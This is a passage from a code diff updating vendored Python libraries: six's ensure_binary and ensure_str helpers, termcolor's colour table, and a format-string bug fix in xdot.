errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -880,12 +908,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -908,10 +939,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index bac57f28a97..ddea6dd59f2 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -81,6 +81,9 @@ COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) +# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting +COLORS["lightgrey"] = 37 +COLORS["darkgrey"] = 90 RESET = '\033[0m' diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py index a4aa0ff4da6..5b43d6c5128 100644 --- a/thirdparty/xdot/xdot.py +++ b/thirdparty/xdot/xdot.py @@ -722,7 +722,7 @@ def handle_font(self, size, name): def handle_font_characteristics(self, flags): # TODO if flags != 0: - sys.stderr.write("warning: font characteristics not supported yet\n" % op) + sys.stderr.write("warning: font characteristics not supported yet\n") def handle_text(self, x, y, j, w, t): self.shapes.append(TextShape(self.pen, x, y, j, w, t))